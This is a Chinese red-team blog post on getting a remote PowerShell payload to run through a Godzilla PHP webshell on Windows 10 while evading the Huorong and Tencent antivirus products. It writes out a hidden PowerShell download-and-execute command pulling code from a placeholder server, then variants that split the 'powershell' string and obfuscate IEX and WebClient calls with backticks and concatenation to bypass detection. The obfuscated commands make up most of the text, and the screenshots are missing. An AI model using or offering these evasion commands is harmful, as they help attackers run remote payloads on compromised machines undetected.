红队攻防之powershell上线基础免杀(一)

不努力，你背井离乡干嘛？当卧底啊

环境为win10，在哥斯拉生成的webshell下，执行powershell命令。

测试杀毒软件为：火绒，腾讯电脑管家

哥斯拉生成php文件的webshell

在这里插入图片描述

如图

在这里插入图片描述

哥斯拉进行连接

在这里插入图片描述

把要执行命令的文件放在远程服务器上

在这里插入图片描述

进入命令执行界面，首先使用正常的powershell加载指令

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x.txt'))"

我们会发现火绒进行拦截

在这里插入图片描述

经过测试，发现主要是对powershell这个字符串进行了拦截拦截，那就可以尝试对该字符串进行拼接。

set aa=powers&& set bb=hell && cmd /c "echo iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/x.txt') | %aa%%bb% -"

成功执行了命令

在这里插入图片描述

测试可行之后，可以继续进行修改，从而做到进一步免杀

set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('h'+'ttP://x'+'x.0.0.'+'x/x.txt') | %aa%%bb% -"

成功执行命令

在这里插入图片描述

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区：
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/408947.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！